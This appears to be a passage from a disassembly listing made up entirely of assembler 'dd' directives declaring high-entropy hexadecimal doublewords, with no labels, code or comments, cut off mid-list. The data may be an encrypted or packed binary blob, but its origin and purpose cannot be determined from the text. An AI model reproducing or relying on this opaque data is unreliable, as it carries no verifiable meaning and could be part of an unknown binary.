0F159D1FFh, 71F5E64Bh, 0BE5B45B1h, 0A19412Dh dd 23B72Ah, 0B353A5B7h, 4EF26801h, 4AB7CC09h, 1EC18013h dd 0C3D8AEB1h, 90FE73F7h, 521B0B78h, 0D40483B2h, 8D8CFAD7h dd 2D94A4CDh, 1048B7D8h, 0E1484586h, 3727F2Eh, 0B8E97CC2h dd 8B57F9C1h, 0B8C6B5ACh, 29FCC500h, 0E831DF2Eh, 0AC4427E9h dd 133D3DDBh, 0D744DED7h, 498D1684h, 6350CE29h, 396F016Eh dd 0DC68503Ah, 0C0F82859h, 69984270h, 7CF60481h, 0C0199A46h dd 2C0E2EC4h, 0C35C7A4Bh, 7F4B3CDDh, 0C08977A0h, 12549F22h dd 40933CFCh, 246EF608h, 3B4E02CFh, 0FF801268h, 49032D43h dd 0E6224F0h, 5DC725BBh, 71EBC45Ch, 0A277A7FCh, 0EC9939F1h dd 0C7D9BD09h, 0B7DCAC6h, 0BF7BEBF1h, 0AF2F8BD8h, 8BC8F999h dd 1C55358Bh, 0A36817AAh, 0C1DBF81Bh, 889BB652h, 0E748823Eh dd 16478F03h, 0BC6DAAECh, 306BB063h, 16305EFh, 0AC0268F9h dd 0CA0ED39Dh, 6F961F2Bh, 51E3E201h, 832A1DD4h, 0F5B9D5D6h dd 69806A31h, 172737CFh, 41D1040Fh, 0F73A7E92h, 87EF2054h dd 0CDF90839h, 0ADA45AF9h, 9BA98C1h, 0F1014043h, 2708B888h dd 0F17FEAE2h, 67E94184h, 5DDD6E1Eh, 68E7C12Bh, 0EDE59FA8h dd 0BD8F2D8Fh, 1F7AE583h, 0F5B80B6Dh, 0D92A0E4Ch, 0C1C61352h dd 6A3888F7h, 4A7ECCA6h, 0AFA684B6h, 0E9B042B9h, 74B57495h dd 0D2D81A7h, 3B448340h, 15BEF87h, 3F886860h, 0C24FC18Ah dd 8151C2F1h, 926FA1D5h, 61207833h, 7AD10CF2h, 0A80C0136h dd 2D272E05h, 0CDD033E9h, 3EBE5650h, 751C20BCh, 0C20B74B8h dd 255782D9h, 80BF0506h, 715A663Fh, 0D77BB7EDh, 4A408360h dd 91EBF84Ch, 20024FAh, 78101F94h, 80C170D7h, 0BDEDE908h dd 2324BFD2h, 5667687Dh, 31254190h, 88DBA76Ch, 4D3E0D1Ah dd 66EF4F69h, 300990E1h, 2333D18h, 42756319h, 3F086B72h dd 0E613441Eh, 6FDB534h, 17831C08h, 7E231841h, 0AF4B96CBh dd 0A7ABA2C5h, 6C1A1268h, 0EF4AFAB2h, 30EA7975h, 63D368FDh dd 84AC6AE1h, 0B3F2E0F4h, 86F52C27h, 0BD0DAFA2h, 9BC58062h dd 592DB224h, 0EE970B5h, 5D27639Ah, 0B697A4Bh, 0ACF1093Dh dd 0AE4CD80Bh, 4AFBC20h, 7D1BCDB8h, 58C6AF08h, 0A2649326h dd 0EB8078Ah, 0E0158E57h, 13E9FFE8h, 0D3706D48h, 29C8EFEh dd 0B168E1F7h, 3D967358h, 0CB73B413h, 0D6012DDAh, 488BCBE9h dd 9FC0BCFDh, 0D1A7CFF3h, 105D6910h, 52906801h, 99053E7Ah dd 8023E54Ah, 3F47A81Ah, 870C0B60h, 0B1F50FD9h, 0CC853F66h dd 0AD4A553Bh, 3B08417Ah, 0F1E6B198h, 0E489C39h, 0D0148A07h dd 9FE1D222h, 64EFB8DEh, 5E0271C2h, 5C5EF929h, 90CA0150h dd 0B76870E1h, 569ECD79h, 480932C9h, 65BE2B9h, 0DBF7264Ch dd 570B644Bh, 7D56D86Eh, 0F3E00F1Bh, 8C241277h, 0A1009330h dd 114B357h, 2E5558DAh, 69E29824h, 8202A102h, 23539DA2h dd 60F17146h, 2C3F4952h, 40567358h, 3A704D0h, 39C90847h dd 256612CCh, 4E0B44B5h, 0F3922F04h, 72157B1Dh, 4B817EF5h dd 0C96571BAh, 13617933h, 0DFCE6A4Dh, 5C94BD00h, 3E93A7Ah dd 6BCAAA5Eh, 0A04BAC4Bh, 9685156h, 4C4234A9h, 0E99EC47Ch dd 82C52A4Ah, 6C274E0Bh, 0E316C4F7h, 4BBE179Eh, 0C65F58D6h dd 0B5A90B0h, 77265662h, 0D66EA06h, 4940D197h, 38898ADEh dd 289F4483h, 9EDD5F7h, 416E7B02h, 8075897Fh, 691F6F0Ah dd 0F9424C2Dh, 0A704C603h, 86580970h, 4FC73F19h, 0AED413BDh dd 8B0EE85Bh, 27BEDE5Ah, 5A5F96DFh, 0FA3BF428h, 0C95AB7EEh dd 5564B940h, 3043323Bh, 0DBA4EBC1h, 0E24E3EE9h, 0A7307329h dd 8CC14E33h, 0F2BBFEE3h, 427E013Ch, 46E95F9Bh, 996BAA68h dd 9EC996FDh, 0AFC34549h, 0E90A02CEh, 81F372A0h, 0DC0223F1h dd 9C0CBB75h, 0FFA5BC74h, 90C1E690h, 15F5515h, 0F00927C9h dd 0F112FEAh, 6915E930h, 90E28980h, 0B91D2DBCh, 0A92CBDE5h dd 39EF9216h, 0FACB7E00h, 0BFE26812h, 0BC4E0DB2h, 0E23EB9A3h dd 68CA10BDh, 665B590Eh, 202FAC77h, 0D6F7005Fh, 203B850h dd 659D0AAAh, 155C829Bh, 40DF67D2h, 2C3719CAh, 620462Fh dd 0A54A2CE9h, 17BC26EAh dd 0DC724360h, 67E97165h, 0A1BB8087h, 2012ED25h, 0EB269F27h dd 0DF14DDD4h, 4BE43BA7h, 53B1F544h, 6AC4F5FCh, 95E0F4EAh dd 57CF542Eh, 26D18208h, 0F4DE1CC6h, 0A11FEBDEh, 0AD845697h dd 2B28CF8h, 0AFBA6611h, 56CB912h, 8C7A160Ch, 0DF7287F3h dd 772C6E90h, 98808695h, 2D21092Bh, 9252138Bh, 0AE17BE3Fh dd 0EE4AF5ECh, 6810B8C1h, 425F9D2Eh, 987928F4h, 0D2F6C02h dd 0A0226326h, 9D41AA60h, 8836D72h, 3B141C45h, 132671CAh dd 0E232ACEDh, 0A6CE5EF7h, 33FACAA0h, 5955852Dh, 9C4B46C8h dd 0C2CEB3Ah, 7A49413Ah, 0E0ED09F1h, 0E0D5902Bh, 95656EC7h dd 0A099BF22h, 0C6C92F59h, 0D9E91668h, 0C3CBAE9Ah, 30DFE825h dd 0B5B7A5F4h, 0E0CB9F1h, 39800E4Bh, 0EA9E62F2h, 63EFCA6Ah dd 72B86CD1h, 0E5BC4326h, 0F3AC1109h, 825C2D16h, 54855A09h dd 28318855h, 770DB18Bh, 7D832D82h, 0E9F05574h, 54C8B514h dd 420205BFh, 0FD31C10Ah, 86607D5Fh, 80829B36h, 4F0B4D37h dd 0D0829535h, 0E6559541h, 70EE2529h, 0A7AA268h, 0B0B04B5Ah dd 33C7012Dh, 0AFE91107h, 0B5D77FA6h, 50C29276h, 9CBCA7Ah dd 2D1D37C5h, 0D893C25Dh, 78611C96h, 0F5E665FFh, 0F16505F6h dd 0EE5B16h, 74BD55C5h, 8B9D636Dh, 0CDE0DF90h, 0C0192EB9h dd 0A2A5095Dh, 0A4E7D7DAh, 9CC38B2Eh, 0AD603266h, 23E17B5Ah dd 0F87D710Dh, 93C09362h, 274806C7h, 0E0215A53h, 0CCBC17A0h dd 5C1CD425h, 300D99Ah, 8148FF0Dh, 25687BF5h, 1F4B29Bh dd 0D90FF33Ch, 2A039553h, 820E1FEh, 4F1BF097h, 0D781ED5Fh dd 5F652AFBh, 0D40AED22h, 75E989F9h, 2BD225Dh, 1666EC52h dd 0F0D55C4Fh, 9441BFA9h, 1DD1C330h, 2434372Ah, 85270814h dd 5D01BE03h, 0E681E8AFh, 143F2754h, 2C1D18C0h, 4E62E009h dd 163E8E9h, 0D95DA377h, 0AD50AACCh, 4C6C70E7h, 882FEA43h dd 0E85BCA04h, 0F3AFF4FDh, 0A91F18CFh, 0E1485DCBh, 0A096E82Eh dd 281658BBh, 0C984BD7h, 0CB74E9D8h, 940FB97Ch, 463C6021h dd 4A6D33FBh, 0EC02EBEAh, 43D0895Dh, 2D00DCCAh, 0EA84CF7h dd 220AA190h, 905B2919h, 8DA2C703h, 0D681C430h, 4D809D81h dd 370761C3h, 0DD4B8952h, 13CECEBBh, 0CFF1A8E9h, 0A552452Bh dd 4E83B3E2h, 63582FF5h, 0E9520959h, 0E5DDEAD2h, 0D75C94B4h dd 5F41AA60h, 0DCC1D032h, 6C3B7F65h, 2668C17Fh, 0EFAB813Eh dd 0A070AF8Dh, 0FAE4752Dh, 0BA4A7DE2h, 0ED683B31h, 325412Ah dd 3A2122A4h, 8416E912h, 84E137BAh, 6CEFC94h, 0C6FED6F6h dd 0CE801C04h, 9FD1FBFDh, 2C9AB83Bh, 70258A7Dh, 0FF019713h dd 3A362268h, 425B318Fh, 0D51C585Eh, 5A6BB68Eh, 542D95C0h dd 64AF17D7h, 39BF863h, 5FB35350h, 4B1610B4h, 45BE022Fh dd 5F39E121h, 0AE04B950h, 896B0B96h, 0F92069A8h, 41C1BD0Bh dd 0C631800Ah, 4B3629EBh, 8A05004h, 16F17568h, 0EE025735h dd 5601788Eh, 8739F6BEh, 0F5B02B23h, 861A1607h, 3D20FE33h dd 603C4E50h, 0A7850C4Ah, 2A941B44h, 145E2327h, 0E966F808h dd 0C91CB4D4h, 20A91AD5h, 456851A4h, 3E5F0962h, 65FF5759h dd 2A7E05CDh, 220FC10Bh, 0CEC19FB2h, 0D8CB6889h, 6E710B0Ch dd 0D007FCFh, 168B0719h, 350B4871h, 2C951F8h, 56C71360h dd 72EA4C69h, 6E9D4513h, 7E2061B1h, 458470A5h, 0F1B2607Fh dd 7E4A2590h, 0E6C17EC0h, 3972C103h, 6F638E20h, 5112CBE6h dd 0EB3216D2h, 859EB3D0h, 0D6804CB7h, 0CB075000h, 5539E90Bh dd 2D3E7783h, 5AF97BF4h, 54C5E096h, 0F701BA80h, 0DE3097DBh dd 0D7A47492h, 267D120Eh, 0B009DF1Eh, 5B13F793h, 698515C1h dd 4C1B05A1h, 2834BEEh, 301683DCh, 3AA4D55Ah, 2C5BD809h dd 0F7629A2Ch, 0C495EC7Ah, 2D097C3Bh, 0FDAFC277h, 8AC93FF9h dd 0F7ADC1E1h, 0B8609D2Fh, 0CD01B061h, 6FB9595Eh, 778A4C19h dd 89D43DE2h, 0B5B982DAh, 17B466A0h, 0BE986857h, 91E86318h dd 0F0A9958Ch, 985D13FAh, 8DA07AD7h, 9297A8B5h, 10754182h dd 697874h, 811D7660h, 0D2790CF2h, 0E2D14512h, 57B79609h dd 0C121C898h, 6937519Fh, 510BF85Ch, 9854C654h, 0B63E2EBh dd 0DDF7411Ah, 0F6B0C085h, 73D21094h, 0E862FE36h, 0B09505EAh dd 45253EAh, 0FA458768h, 1360FE1Dh, 4E7C9AF2h, 5A41F842h dd 672813B8h, 627009A0h, 23C22C4Ch, 0E1C3C787h, 0D80B0F29h dd 331840E3h, 0D21851C5h, 0FFD7722Ah, 0D787B644h, 82F63D31h dd 0AB2BC46Bh, 0B68600Fh, 86114510h, 0C8EB5AE9h, 2012B805h dd 0E4844B06h, 0EEDD12FBh, 5F27038Ah, 0BE813FBAh, 7E7D168Dh dd 0A1682583h, 0A27F675Eh, 583179D9h, 17737154h, 0FB56DD7Ah dd 258A4EE1h, 33FD7E04h, 0F86E0A80h, 0E9500175h, 472E1590h dd 0F307BA0Ch, 0C9C2325h, 404D0CCBh, 0D31857B7h, 0F6F92E28h dd 645FE306h, 0A2403C0h, 52D25E3Fh, 0F823B9Eh, 0D9292226h dd 1C195AF7h, 0C51EEA80h, 0E8300CC2h, 79691670h, 16B9C8FFh dd 12C04B12h, 1610308h, 321436BEh, 0AF6C707Bh, 79D65613h dd 0E4D821AFh, 68B73A2Eh, 3C167594h, 5A8BF3D5h, 7857C2DCh dd 31164BE9h, 0B8F0FA86h, 0A5D03C34h, 4B045E0Ch, 2C831390h dd 266C3F3Fh, 9DA63FB8h, 5709AE13h, 124EEE73h, 0EB9BB551h dd 68E550E0h, 25920707h, 0DEC723E8h, 2DA22516h, 176ED50Eh dd 923589EAh, 76FC8CF0h, 9185F4F7h, 0E866B0FAh, 6B256803h dd 5CF4653h, 59C80854h, 0A8A7C1F6h, 0C4AE68AAh, 678C3F02h dd 0BB660E53h, 0BA8305D7h, 97C45C16h, 0C283C288h, 9F1C1C40h dd 0B98374ACh, 0B9F7BAEAh, 0B1C58C5h, 0E94E1A54h, 2383DA4Ah dd 0F60C3558h, 828E843Eh, 91A07F67h, 0ECB15166h, 59ECCCE0h dd 58E73004h, 60F2F828h, 2D133194h, 7679BE3Ch, 13FA261h dd 4F68BFC0h, 0E7AF4094h, 9A075EBEh, 2EFC140h, 0D0032A3Fh dd 0DF63B100h, 6048E9FEh, 13E6FDF3h, 92906765h, 2AB5F604h dd 47BF5489h, 9840E91h, 0A698E777h, 1B9C00D0h, 0E0D12B40h dd 3502E8E4h, 277D6446h, 0A0DA5D01h, 72A9A432h, 1AA9D75Fh dd 0FE493C45h, 1300EF48h, 8F5D0AB9h, 0E2804750h, 5C3DD54Ah dd 5029F06Fh, 980DE913h, 39047567h, 995FC1EBh, 5ACE5125h dd 6526E159h, 9CBD6B33h, 7E512C7Ah, 3B0EC282h, 9CBD0973h dd 7D255289h, 8DFCEB94h, 61FA7C5Bh, 0F5383101h, 752F6CCEh dd 1E5F7C2Ch, 0E4C0C482h, 145E5702h, 0E328923Bh, 0C3ECDA8Dh dd 0EAD3F6EDh, 1092EBEBh, 0F21A050Ch, 0B4A9C9Eh, 38BBD54Fh dd 774B3AA4h, 0FF4B4ADBh, 860338DEh, 30D4F6E5h, 8EC26A7h dd 0A5CBE918h, 1344BB54h, 17E1B77h, 956CF9B3h, 76266003h dd 5890A64Ah, 7BFE562Dh, 0A2055D4Dh, 0CD06E05Eh, 68E89441h dd 3D2413B7h, 804AB834h, 63542D58h, 0C1075E09h, 230889E5h dd 2CBD93D6h, 96C13D85h, 0BD801F6Dh, 79B74684h, 0EC24088Fh dd 72EC4512h, 1F30FA07h, 0A906D278h, 517729A9h, 0AC0B6E03h dd 0AD650054h, 0E86E40A1h, 75E9F072h, 0C525C967h, 5E932555h dd 0B96260BFh, 30043AD5h, 52E94173h, 5D28A692h, 948DC605h dd 8FECBFA5h, 0FBB25200h, 0F280CAFEh, 10FC6F4Bh, 4467E916h dd 0A8515EECh, 2F02B212h, 6CE9D102h, 594EC558h, 9D829761h dd 58102C7Dh, 0CA2917B2h, 67173501h, 31F41A03h, 0DDF4B5ABh dd 0A8CD018Ch, 929E9D4Ch, 4C7B1220h, 0A62F335Ah, 602DFB5Ch dd 0E1923F25h, 0AF39FE2Fh, 46B19010h, 831E058Eh, 0D85701E9h dd 3A1CBE26h, 7D6C5939h dd 4FD5A70Fh, 43EBD212h, 2EE9085Fh, 0D953FEBCh, 5877F805h dd 0D5C97B87h, 0D069F70Eh, 1ADDDB46h, 0BA3FF89Ch, 0FAFC5A2Ch dd 68C330B0h, 0DEEC015Fh, 0C35D54C4h, 98E9529Bh, 4B0F6E0Bh dd 8F598025h, 69AAE965h, 222F3013h, 0FE72E804h, 3181E6B3h dd 3B80E9D2h, 54F84213h, 0F60C68F1h, 2FD05148h, 0BDEC3FE1h dd 77ECCDEh, 5970CF5Bh, 56234295h, 8F2539ECh, 4AB16CF5h dd 9D1CB668h, 50A34492h, 9ED2FA4Bh, 9F1DD89Fh, 0F8DB47FEh dd 99A210E9h, 10CCA44Dh, 0DC9D403Ch, 57A6470Eh, 78523F40h dd 0BD669F41h, 55D11E4Dh, 0F70781D9h, 105EC656h, 290EC66Fh dd 6D08Ch, 0F58025B5h, 2B45055h, 6302B598h, 0F658E528h dd 13A241D5h, 78C2A020h, 45A7608h, 5CE988C5h, 0C996ACB4h dd 7809FD5Fh, 49AFDFDEh, 0EF84B2F1h, 0C247F380h, 294387D5h dd 0C7ED95BFh, 0EE59946Eh, 0AFAB85C2h, 20C7A4B6h, 686591ABh dd 827735A7h, 0AB28ECC0h, 64E87748h, 0F83A1A9h, 0C5FECE54h dd 8C8FED45h, 0F5F254D8h, 4811B40h, 18424CF2h, 6BB18007h dd 304A750Bh, 0A1DD3F5Fh, 7D48080Bh, 9974C48Eh, 60344416h dd 193C6828h, 549622B1h, 27162DBEh, 0D035168Ah, 522390BAh dd 4B1F1501h, 4A92CB89h, 54B85D56h, 9B1FF13Bh, 0EA9817BFh dd 345C1A90h, 5B6C25E6h, 0DF2EBB78h, 0BF0D4B50h, 22F0BDDh dd 5FFE01A0h, 38209B44h, 83485AFCh, 13A431B5h, 0EAE0C5BBh dd 0D981A795h, 0FC3B914Eh, 0D1A3E471h, 23DD680Ah, 1BF817Fh dd 0BB74F670h, 0A16B45F2h, 2519BD66h, 0F996F7FAh, 74667A0Bh dd 6B6B7E65h, 830EC15Dh, 0EED82BB4h, 50A2BD17h, 13092584h dd 64FDDCEFh, 0BC3F356Ah, 0C92FF425h, 8B31535Dh, 0A97879E9h dd 3237B900h, 0F1814DA3h, 14073111h, 0CC4917A1h, 9B27E918h dd 33CCF90Eh, 1BB26808h, 18A51077h, 13AB835Bh, 57E0B4Ch dd 2C9B7847h, 689E1280h, 29492526h, 7E092BFAh, 96C03C0h dd 0AC0B7757h, 0A64ECFDFh, 0C8FC16D5h, 685E5007h, 9F5896E4h dd 5E596E56h, 0E57FB761h, 8614302Eh, 0DCBAACBEh, 714D2FE2h dd 2B1A3C6Fh, 6412C97h, 0AA88E1A3h, 440911FFh, 5143550h dd 0DEAB3936h, 20304C02h, 259496FDh, 885A1556h, 30B3C5DFh dd 0BDA93A0Eh, 0F7F590Bh, 0F54CC7F0h, 0A275200Ch, 0BECB7D87h dd 0BEDD8BDBh, 0E203934Ah, 8771A403h, 0B2EBB1F7h, 28335D20h dd 80AACB01h, 0BCDFE908h, 0BF591797h, 48CE021Ch, 60D7AE97h dd 72B10540h, 0CC684C1Ch, 0FFFFB512h, 574F558Bh, 652DEB28h dd 0B77E5620h, 18817A71h, 313DCB1Ch, 6FCD93FBh, 8A14E108h dd 9A22C407h, 5FF9E272h, 0E34204FDh, 0EE3D41BBh, 2BDEF704h dd 0BE01AE98h, 1A330135h, 305F315Ah, 464FDB58h, 0ADECC165h dd 0DC79510Eh, 86B3B841h, 1101C923h, 5C029920h, 24804CD7h dd 886D746Ah, 5F1659A6h, 128994AEh, 0C858BFFEh, 207310Ch dd 685A3602h, 45777AB5h, 0EEE90608h, 2B0D3BDh, 7163507h dd 0D45020BBh, 4E189F54h, 84E1B831h, 58024B12h, 4CDDEB01h dd 69FAB4E6h, 4520B300h, 0FDA0312Eh, 0F721382Dh, 7908201Ah dd 3AD36059h, 21DA6C9Fh, 8401CAFEh, 0E9196B7Ah, 0CE7AA169h dd 5A806C79h, 7F681A0Bh, 98848D25h, 13AB16A6h, 8449EB1Ch dd 8E21F705h, 3FDF3CE9h, 0CFB2D941h, 1D6CFBEDh, 0C285B24Eh dd 96A66E9h, 32005C56h, 68532E39h, 767C12B2h, 2B80AA7Fh dd 902AE414h, 80E0BDFBh, 68043402h, 4A9CE92Ch, 48A1BA00h dd 729022BCh, 31467FB9h, 631520C5h, 90ED5B4Eh, 0F652D030h dd 83928144h, 98E00520h, 0A31C641Eh, 81E4C083h, 50B68EEh dd 0D056769Eh, 4B5E7990h, 0E9E3CC14h, 59426F2Fh, 8FF890Dh dd 0F07338F7h, 0E0B975Eh, 0FCA50773h, 14AB8BB8h, 0EDEAB377h dd 713B8F00h, 9D5B615Eh, 1A44810Bh, 1B3989FCh, 0CED9BF17h dd 0BBF0DC87h, 1673DA7Dh, 0AA6006E9h, 76E09031h, 64130105h dd 6C46902Ah, 0F9BD0123h, 4D1DE372h, 0CE65E12Fh, 0C54BC055h dd 57100F53h, 21123182h, 2E66E20Eh, 2778F5A2h, 645B64A4h dd 0FEC4E597h, 0FA51D8AEh, 49305210h, 0A7F32577h, 764FB659h dd 5A7060EFh, 0E12CE952h, 0F7CB1177h, 4ADDCDEAh, 2CCC321h dd 2AFEBF22h, 0DFC07161h, 0D51045A4h, 0E9822931h, 0D45668A5h dd 6575089h, 7F7F9E2Dh, 196413EEh, 0EB8BC4D0h, 0E345EAC1h dd 0EFD0C204h, 7EEF16FAh, 2E2492CDh, 0EBD5B329h, 0F78B5EF4h dd 0B00664F6h, 5F80923h, 90077358h, 0A50598h, 6D23C6F4h dd 9CC125C2h, 6E3055F9h, 4BF4188Ah, 0F6093EE2h, 2572E51h dd 754E8019h, 7A928DE7h, 0EC5198A0h, 0A6BF5ED7h, 5AD91C46h dd 2A9CFF2Dh, 5B7E683Eh, 25E99ACCh, 0C87D839Eh, 0A081CE51h dd 956A482Fh, 0E53DEF18h, 0A7CD5E82h, 4D8FC92Bh, 680ED24Ch dd 5B43BE38h, 27B3DDECh, 0B2B94302h, 0F7280AFAh, 0CBFE7B64h dd 58941FD2h, 58D2E0AEh, 0F20A5EB5h, 52BB7455h, 7A5E51DDh dd 2F4D4EF7h, 2768822Ah, 7A0994B9h, 491375h, 0D911B57Eh dd 79C49F24h, 2F1A5CC1h, 0A42E4487h, 2D05D06Ch, 459D688Ch dd 0CC82CD94h, 0C1AFD46Bh, 5078ACE9h, 7134619Ah, 0C15F7006h dd 7C0604E7h, 29DA2702h, 30670999h, 0D7F6AD40h, 0C2371590h dd 0F4A4428Dh, 0A46EE8BEh, 0A4E56EBCh, 19C17C57h, 0B741B652h dd 0C4F7B460h, 5CD958h, 6C07CDBFh, 0C7313250h, 0B06A9CB4h dd 7507C5Dh, 71D04D2h, 51866ED0h, 0CE7012B1h, 59E8C87Fh dd 9115B97h, 30778668h, 9AC98072h, 73D89DDFh, 77DE0225h dd 0E35C2724h, 0B1C94074h, 0DAA86835h, 0D212B5E8h, 2F3CB29Ch dd 0F22F5E53h, 43522C56h, 5D71D0D1h, 70EB8174h, 2D03F3D7h dd 890A8084h, 23AAE4DDh, 0BE9C8BC7h, 8959BF2Fh, 98DA0192h dd 2B69CC2Ah, 3680DD89h, 6DD754A9h, 0C064C3E9h, 2B8480CCh dd 49219A81h, 0E5B65280h, 0D0F6C686h, 42BB08D2h, 28D5C5FAh dd 0ADD8C37Fh, 32E9B542h, 5E67586h, 95ABA420h, 0C1C9F25Eh dd 0E918021Eh, 89BE7E4Ah, 24B6E152h, 0E59705F7h, 0BB5380A3h dd 6FE7317Ch, 0CE88BD02h, 85019018h, 0E2D1299Bh, 0F7C9D99h dd 653111CEh, 0E3815762h, 800484F3h, 6D64F15Ah, 5D73BF25h dd 1F6068EAh, 3B486A24h, 0FCC713C5h, 0AF56051Dh, 7E55D5C2h dd 3FCE58BAh, 0E97DFB05h, 0D9ECAA0Ah, 442E1C82h, 51735FCh dd 0AE2C5EAFh, 0F6B4B14Fh, 0E8253B38h, 76F9A0EAh, 0A79650Ch dd 11FE4850h, 285DC956h, 0B0EE702h, 0C33EB529h, 5E19E4F2h dd 742DFE8Ah, 806A7B35h, 62D926D9h, 1B0110B0h, 0E9FC22B1h dd 397E7D13h, 94D0F8C4h, 0F00A90BFh, 29E4B59Eh, 0F66AB109h dd 0AEAD01D9h, 93D7C1FEh, 86F1C140h, 534C0C83h, 0FC90CF88h dd 0E0B7595Bh, 0D44EC4Ah, 0ADE9E728h, 216AF6A3h, 4A18BC57h dd 0BE708450h, 0E9B133BCh, 58C82C64h, 0A5553948h, 1A97E01Ch dd 0DB448290h, 3D627DF2h, 0FD83B212h, 0AE9DED63h, 9070B48Bh dd 0B1EBE02Fh, 59C1972Fh, 0BE32F68Eh, 0AE06E0ECh, 27E9CA20h dd 39C866C5h, 4B5C02EBh, 7A25131Bh, 0AFF8C249h, 533C4FD1h dd 6F8728EEh, 0D8005341h, 7B315470h, 0E2522777h, 731798F5h dd 0A07695EDh, 0C903464Bh, 0D9794B1Eh, 0F4CFD7A4h, 932648ABh dd 0B384C7BAh, 524C5336h, 0C9984CEEh, 4C4778E0h, 5E50E98Dh dd 0F33DC05Bh, 50C01C3Ch, 0DC0CC3ECh, 187BDA0Dh, 0C52512E6h dd 0D9C7FFB2h, 24AF7EE4h, 432DEEDFh, 1CF518AFh, 95ADB044h dd 5DB61ADFh, 75C9E6F4h dd 0C4886EACh, 244B6EECh, 840E3F9h, 0B3794AE9h, 74FE4B6Eh dd 49FB8482h, 0A155EA2Bh, 0C1EEE905h, 0FAAA943Eh, 60FE9E71h dd 448C4A3Fh, 816F009Ah, 761594F7h, 0B0E9630Ah, 55CBDEADh dd 5E564010h, 0B36B3489h, 5A428435h, 7259AE8h, 98A66FFh dd 35743A18h, 8E73A05Dh, 955CA852h, 83822B94h, 203E0F2Dh dd 0D4411C84h, 182050D9h, 0D1A6DDh, 0FA47FDBEh, 26906828h dd 0F3020EBBh, 0E175A657h, 530376D5h, 0E75F5B2h, 0FDA2D36Ch dd 0D8643AC3h, 0E994A0DCh, 92DB4324h, 0F3ADE0A4h, 36416A8Fh dd 89991C51h, 728957D0h, 5FFB31F7h, 7F51C872h, 7CC14274h dd 0AB588848h, 0C825006Bh, 0DA94BE42h, 0E919BD37h, 0C1692EF8h dd 7E92B52Bh, 4EF42A2Ch, 1DBA8C76h, 0D838E348h, 0A12FB717h dd 0A26A84B8h, 5680682h, 0FC0C36C2h, 1D217A33h, 0ED5EF009h dd 3574075Ah, 7ADBFE09h, 93E57701h, 212839Fh, 5FFEF3AAh dd 0A9D934EEh, 1D3865Dh, 9EEF7939h, 22E950E0h, 3A4BE69h dd 17E792A2h, 0BBC1010Ch, 16B3BE2Ch, 152BB6Fh, 0CF67D59Ah dd 36C22F6Bh, 5F0882C1h, 0AD1F758h, 420DF4A7h, 0A848250Ah dd 3BA150F3h, 5E8A7CC2h, 0CF66E28h, 0F14FE9F9h, 0BD98D697h dd 0F12DAF96h, 0F8D7CD1Dh, 1978B768h, 0C427D3A4h, 0F7EB22CBh dd 1F5BFFA7h, 0E67CD627h, 0EAC0A1A3h, 2CCAC16Ah, 0C15D4F51h dd 3FDE77A9h, 98A148E2h, 0E8D9971Bh, 7A8DC9EFh, 0B08531C6h dd 0EDD7B078h, 66F7168Ch, 1707F149h, 0C1732375h, 59C008C5h dd 486364C9h, 681FE601h, 4C6CBE6h, 0F7A9A3D7h, 2E8A8D0h dd 0F9BE012Dh, 0EDE98F0Ah, 0BB689DB0h, 67E638C4h, 60014D4h dd 701CDAEFh, 0DF293F26h, 3C08C728h, 0C2CCF75Bh, 0BE069000h dd 69F2E90Fh, 8FBBA0D3h, 0EF404EC7h, 0E9FFC480h, 2F2CB296h dd 3F535450h, 5E89680Bh, 6C5525CBh, 27269821h, 29980518h dd 44B56401h, 6F149501h, 9D78C609h, 41E9816Ah, 0E3E21358h dd 8A20C19Ah, 97D301D0h, 0E9D0B376h, 0DDC35BB9h, 19353066h dd 6EC60C0Ch, 7050445Dh, 4C99BFB8h, 3BB62208h, 0A841CF54h dd 20CD5E43h, 0BAF291ECh, 22E1450Ah, 67510043h, 0FBE96EA1h dd 5103BE6Ch, 0BE476462h, 2034110Bh, 1B01F738h, 0A44ED6F7h dd 0BB0F2606h, 0CE17AE32h, 6F22A0F6h, 0C8F03142h, 109C240h dd 70C789FEh, 94579DF7h, 4E21FE6Fh, 1C988BC7h, 0D42F15CFh dd 7B9872A4h, 55FAAEEDh, 9750305Bh, 105A2D08h, 0B24EF9F8h dd 9A26ECA2h, 1A6812B7h, 2F5CF360h, 0D57E8BB2h, 340B7C0Fh dd 6E9D127Ah, 8C269CFCh, 0C3BDBF5Ah, 3D100E39h, 0CC0599F3h dd 0DDD8AD16h, 0C054C289h, 675008E1h, 6C96DF6h, 0E682D7CBh dd 6879F068h, 26B05085h, 0F6A883ABh, 0AF0A8A12h, 46851137h dd 0C18186BCh, 7B9AB44Fh, 6CE28B87h, 2F4BFA8Eh, 16FD6084h dd 4C682FD4h, 90267A6Dh, 16470E2h, 0E186C680h, 53423476h dd 0B644B307h, 879B28D7h, 8031FEDBh, 0F6CDB0E6h, 35A266BFh dd 32B44CC1h, 5C22E630h, 85800B2Fh, 0EA8875B5h, 8F692CF2h dd 406BCA12h, 0C095D0D3h, 4C3AEBEFh, 68152A54h, 402D796Eh dd 868021B5h, 0CFFE30F9h, 0ABE18008h, 2AB7530Fh, 285B8230h dd 0EFA085CBh, 5EC5DC40h, 0B58D63ACh, 0CCBF74F0h, 0BB3926EEh dd 20076FD8h, 0F1570994h, 5502EB3Ah, 500BCAFh, 75721E62h dd 7B0A0914h, 0C6A16C24h, 3C4D7A68h, 0CA5ADAA3h, 46747790h dd 13EB58E4h, 60B729ACh, 282AA3Ah, 0FC2355F5h, 0D2FF4E79h dd 85FF561Bh, 7636FBF9h, 0A71A139Ah, 41BEE840h, 0A0617F07h dd 40AF96A0h, 270B4609h, 5B2DA0D6h, 4EE94183h, 6A313B7Bh dd 537A618Ch, 0F586BB9Ah, 66812A3h, 827CED2Fh, 7C8A75E9h dd 689C60CEh, 0AAA7B4Fh, 0D0058E81h, 3E22D9E0h, 0C408DA05h dd 7B68B5EEh, 4D18101Ch, 13B9CD7Bh, 1F549B06h, 0E24A8317h dd 0F0B454Eh, 0D01A169Dh, 0D9589FCBh, 51E94F0Bh, 32AD5977h dd 0CFA85598h, 165409ADh, 0F131CBF2h, 0E4C669AEh, 9F3C7BE4h dd 0F0CF0163h, 6F7A1BF8h, 0DD650CC1h, 826F6E66h, 0E7FF5D75h dd 0F032FD7h, 919C33E9h, 5584FD4h, 79B0ED09h, 9625885Fh dd 81CE0102h, 0ADA856EEh, 7D9E7D58h, 0B73AF72Dh, 6533CE11h dd 80AC3FF9h, 42AF683Eh, 524C6BCCh, 806D27C5h, 4D5CBE4Dh dd 21E4CA4h, 0F5546A25h, 0C9B464EFh, 5F7AB1F6h, 0EEE3C46Bh dd 0F7306D8Dh, 3D5017AAh, 82C4AE69h, 93E9080Fh, 